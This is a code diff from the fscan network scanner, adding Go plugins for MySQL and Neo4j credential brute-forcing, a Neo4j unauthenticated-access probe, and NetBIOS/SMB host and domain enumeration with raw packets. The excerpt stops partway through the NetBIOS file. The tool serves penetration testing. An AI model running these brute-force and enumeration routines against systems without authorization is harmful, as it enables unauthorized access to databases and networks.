||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mssql", func() Plugin {
|
||||
return NewMSSQLPlugin()
|
||||
}, []int{1433, 1434})
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//go:build plugin_mysql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
type nullWriter struct{}
|
||||
|
||||
func (nullWriter) Write(p []byte) (int, error) { return len(p), nil }
|
||||
|
||||
func init() {
|
||||
// 禁用mysql驱动的错误日志(如unexpected EOF)
|
||||
_ = mysql.SetLogger(log.New(&nullWriter{}, "", 0))
|
||||
}
|
||||
|
||||
// MySQLPlugin MySQL数据库扫描插件
|
||||
type MySQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMySQLPlugin() *MySQLPlugin {
|
||||
return &MySQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mysql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config)
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("mysql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("mysql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MySQL认证函数
|
||||
func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMySQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMySQLAuth 执行MySQL认证
|
||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMySQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
err = db.PingContext(ctx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMySQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &SQLDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// classifyMySQLErrorType MySQL错误分类
|
||||
func classifyMySQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mysqlAuthErrors := []string{
|
||||
"access denied for user",
|
||||
"unknown database",
|
||||
"host is not allowed",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"user does not exist",
|
||||
}
|
||||
|
||||
mysqlNetworkErrors := append(CommonNetworkErrors,
|
||||
"too many connections",
|
||||
"can't connect to mysql server",
|
||||
"lost connection to mysql server",
|
||||
"mysql server has gone away",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if banner := p.readMySQLBanner(conn, config); banner != "" {
|
||||
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mysql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mysql",
|
||||
Error: fmt.Errorf("无法识别为MySQL服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
handshake := make([]byte, 256)
|
||||
n, err := conn.Read(handshake)
|
||||
if err != nil || n < 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if handshake[4] != 10 {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStart := 5
|
||||
versionEnd := versionStart
|
||||
for versionEnd < n && handshake[versionEnd] != 0 {
|
||||
versionEnd++
|
||||
}
|
||||
|
||||
if versionEnd <= versionStart {
|
||||
return ""
|
||||
}
|
||||
|
||||
versionStr := string(handshake[versionStart:versionEnd])
|
||||
return fmt.Sprintf("MySQL %s", versionStr)
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mysql", func() Plugin {
|
||||
return NewMySQLPlugin()
|
||||
}, []int{3306, 3307, 33060})
|
||||
}
|
||||
@@ -0,0 +1,239 @@
|
||||
//go:build plugin_neo4j || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Neo4jPlugin Neo4j扫描插件
|
||||
type Neo4jPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewNeo4jPlugin() *Neo4jPlugin {
|
||||
return &Neo4jPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("neo4j"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("neo4j_unauth", target))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("neo4j", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("neo4j_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Neo4j认证函数
|
||||
func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doNeo4jAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doNeo4jAuth 执行Neo4j认证
|
||||
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/user/neo4j", nil)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyNeo4jErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
req.SetBasicAuth(cred.Username, cred.Password)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyNeo4jErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &neo4jConnWrapper{},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode == 401 || resp.StatusCode == 403 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
// neo4jConnWrapper Neo4j连接包装器
|
||||
type neo4jConnWrapper struct{}
|
||||
|
||||
func (w *neo4jConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyNeo4jErrorType Neo4j错误分类
|
||||
func classifyNeo4jErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
neo4jAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
"401 unauthorized",
|
||||
"403 forbidden",
|
||||
}
|
||||
|
||||
return ClassifyError(err, neo4jAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/db/data/", nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "neo4j",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
var banner string
|
||||
serverHeader := resp.Header.Get("Server")
|
||||
|
||||
if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if strings.Contains(strings.ToLower(string(body)), "neo4j") {
|
||||
banner = "Neo4j"
|
||||
} else {
|
||||
banner = "Neo4j"
|
||||
}
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "neo4j",
|
||||
Error: fmt.Errorf("无法识别为Neo4j服务"),
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("neo4j_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "neo4j",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("neo4j", func() Plugin {
|
||||
return NewNeo4jPlugin()
|
||||
}, []int{7474, 7687, 7473})
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
//go:build plugin_netbios || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// NetBIOSPlugin NetBIOS名称服务扫描插件 - 收集Windows主机名和域信息
|
||||
type NetBIOSPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewNetBIOSPlugin 创建NetBIOS插件
|
||||
func NewNetBIOSPlugin() *NetBIOSPlugin {
|
||||
return &NetBIOSPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("netbios"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
|
||||
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口类型
|
||||
if info.Port != 137 && info.Port != 139 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"),
|
||||
}
|
||||
}
|
||||
|
||||
var netbiosInfo *NetBIOSInfo
|
||||
var err error
|
||||
|
||||
if info.Port == 137 {
|
||||
// UDP端口137 - NetBIOS名称服务
|
||||
netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state)
|
||||
} else {
|
||||
// TCP端口139 - NetBIOS会话服务
|
||||
netbiosInfo, err = p.queryNetBIOSSession(info.Host, config)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !netbiosInfo.Valid {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "netbios",
|
||||
Error: fmt.Errorf("未发现有效的NetBIOS信息"),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录NetBIOS发现信息
|
||||
msg := fmt.Sprintf("NetBios %s", target)
|
||||
if netbiosInfo.Summary() != "" {
|
||||
msg += fmt.Sprintf(" %s", netbiosInfo.Summary())
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "netbios",
|
||||
Banner: netbiosInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
// NetBIOSInfo NetBIOS信息结构
|
||||
type NetBIOSInfo struct {
|
||||
Valid bool
|
||||
ComputerName string
|
||||
DomainName string
|
||||
WorkstationService string
|
||||
ServerService string
|
||||
DomainControllers string
|
||||
OSVersion string
|
||||
NetBIOSComputerName string
|
||||
NetBIOSDomainName string
|
||||
}
|
||||
|
||||
// Summary 返回NetBIOS信息摘要
|
||||
func (ni *NetBIOSInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return ""
|
||||
}
|
||||
|
||||
var parts []string
|
||||
|
||||
// 优先使用完整的计算机名
|
||||
if ni.ComputerName != "" {
|
||||
if ni.DomainName != "" && !strings.Contains(ni.ComputerName, ".") {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, ni.ComputerName))
|
||||
} else {
|
||||
parts = append(parts, ni.ComputerName)
|
||||
}
|
||||
} else {
|
||||
// 使用服务名称
|
||||
var name string
|
||||
if ni.ServerService != "" {
|
||||
name = ni.ServerService
|
||||
} else if ni.WorkstationService != "" {
|
||||
name = ni.WorkstationService
|
||||
} else if ni.NetBIOSComputerName != "" {
|
||||
name = ni.NetBIOSComputerName
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
if ni.DomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.DomainName, name))
|
||||
} else if ni.NetBIOSDomainName != "" {
|
||||
parts = append(parts, fmt.Sprintf("%s\\%s", ni.NetBIOSDomainName, name))
|
||||
} else {
|
||||
parts = append(parts, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 添加域控制器标识
|
||||
if ni.DomainControllers != "" {
|
||||
if len(parts) > 0 {
|
||||
parts[0] = fmt.Sprintf("DC:%s", parts[0])
|
||||
}
|
||||
}
|
||||
|
||||
// 添加操作系统信息
|
||||
if ni.OSVersion != "" {
|
||||
parts = append(parts, ni.OSVersion)
|
||||
}
|
||||
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// queryNetBIOSNames 查询NetBIOS名称服务(UDP 137)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, state *common.State) (*NetBIOSInfo, error) {
|
||||
// NetBIOS名称查询数据包
|
||||
queryPacket := []byte{
|
||||
0x66, 0x66, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x20, 0x43, 0x4B, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x21, 0x00, 0x01,
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:137", host)
|
||||
|
||||
conn, err := net.DialTimeout("udp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err)
|
||||
}
|
||||
state.IncrementUDPPacketCount()
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
_, err = conn.Write(queryPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err)
|
||||
}
|
||||
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSNames(response[:n])
|
||||
}
|
||||
|
||||
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
|
||||
func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) {
|
||||
target := fmt.Sprintf("%s:139", host)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 发送SMB协商数据包
|
||||
smbNegotiate1 := []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbNegotiate1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB协商1失败: %w", err)
|
||||
}
|
||||
|
||||
response1 := make([]byte, 1024)
|
||||
_, err = conn.Read(response1)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送Session Setup请求
|
||||
smbSessionSetup := []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
_, err = conn.Write(smbSessionSetup)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
response2 := make([]byte, 2048)
|
||||
n, err := conn.Read(response2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
return p.parseNetBIOSSession(response2[:n])
|
||||
}
|
||||
|
||||
// parseNetBIOSNames 解析NetBIOS名称查询响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 57 {
|
||||
return info, fmt.Errorf("NetBIOS响应数据过短")
|
||||
}
|
||||
|
||||
// 获取名称记录数量
|
||||
numNames := int(data[56])
|
||||
if numNames == 0 {
|
||||
return info, fmt.Errorf("没有NetBIOS名称记录")
|
||||
}
|
||||
|
||||
nameData := data[57:]
|
||||
|
||||
// 服务类型映射
|
||||
uniqueNames := map[byte]string{
|
||||
0x00: "WorkstationService",
|
||||
0x03: "Messenger Service",
|
||||
0x06: "RAS Server Service",
|
||||
0x1F: "NetDDE Service",
|
||||
0x20: "ServerService",
|
||||
0x21: "RAS Client Service",
|
||||
0x1D: "Master Browser",
|
||||
0x1B: "Domain Master Browser",
|
||||
}
|
||||
|
||||
groupNames := map[byte]string{
|
||||
0x00: "DomainName",
|
||||
0x1C: "DomainControllers",
|
||||
0x1E: "Browser Service Elections",
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析每个名称记录
|
||||
for i := 0; i < numNames && len(nameData) >= 18*(i+1); i++ {
|
||||
offset := 18 * i
|
||||
name := strings.TrimSpace(string(nameData[offset : offset+15]))
|
||||
flagByte := nameData[offset+15]
|
||||
|
||||
if len(nameData) >= 18*(i+1) {
|
||||
nameFlags := nameData[offset+16]
|
||||
|
||||
if nameFlags >= 128 {
|
||||
// 组名称
|
||||
if service, exists := groupNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "DomainName":
|
||||
info.DomainName = name
|
||||
case "DomainControllers":
|
||||
info.DomainControllers = name
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 唯一名称
|
||||
if service, exists := uniqueNames[flagByte]; exists {
|
||||
switch service {
|
||||
case "WorkstationService":
|
||||
info.WorkstationService = name
|
||||
case "ServerService":
|
||||
info.ServerService = name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// parseNetBIOSSession 解析NetBIOS会话响应
|
||||
func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
|
||||
info := &NetBIOSInfo{Valid: false}
|
||||
|
||||
if len(data) < 47 {
|
||||
return info, fmt.Errorf("SMB响应数据过短")
|
||||
}
|
||||
|
||||
info.Valid = true
|
||||
|
||||
// 解析OS版本信息
|
||||
blobLength := int(data[43]) + int(data[44])*256
|
||||
if len(data) >= 48+blobLength {
|
||||
osVersion := data[47+blobLength:]
|
||||
osText := p.cleanOSString(osVersion)
|
||||
if osText != "" {
|
||||
info.OSVersion = osText
|
||||
}
|
||||
}
|
||||
|
||||
// 查找NTLM数据
|
||||
ntlmStart := bytes.Index(data, []byte("NTLMSSP"))
|
||||
if ntlmStart != -1 && len(data) > ntlmStart+45 {
|
||||
p.parseNTLMInfo(data[ntlmStart:], info)
|
||||
}
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
